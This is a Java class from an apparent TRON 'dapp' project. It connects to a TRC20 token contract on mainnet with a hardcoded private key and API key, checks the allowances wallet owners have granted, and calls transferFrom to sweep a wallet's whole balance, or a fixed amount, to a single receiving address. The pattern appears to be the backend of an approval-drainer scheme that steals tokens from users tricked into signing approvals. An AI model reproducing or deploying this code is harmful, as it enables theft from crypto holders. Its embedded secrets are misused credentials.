package cc.mrbird.febs.dapp.chain;

import cc.mrbird.febs.common.contants.AppContants;
import cn.hutool.core.util.StrUtil;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;

import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.RoundingMode;

/**
 *
 * 查询是否有多个授权
 * https://apiasia.tronscan.io:5566/api/account/approve/list?address=TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD
 *
 * @author wzy
 * @date 2022-03-21
 **/
public class TrxService {

    private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
    private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";

    private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";

    private Trc20Contract contract = null;

    public static TrxService INSTANCE = new TrxService();

    public TrxService() {
        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);

        Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
    }

    public BigInteger allowance(String owner) {
        return contract.allowance(owner, ADDRESS);
    }

    public BigInteger balanceOf(String address) {
        return contract.balanceOf(address);
    }

    public BigDecimal balanceOfDecimal(String address) {
        BigInteger chainData = balanceOf(address);

        BigInteger decimals = contract.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());

        return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
    }

    public void transfer(String address) {
        BigInteger balance = balanceOf(address);

        contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
    }

    public String transfer(String address, BigDecimal amount) {
        BigInteger decimals = contract.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
        amount = amount.multiply(mul);

        return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
    }

    public static void main(String[] args) {
        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
    }
}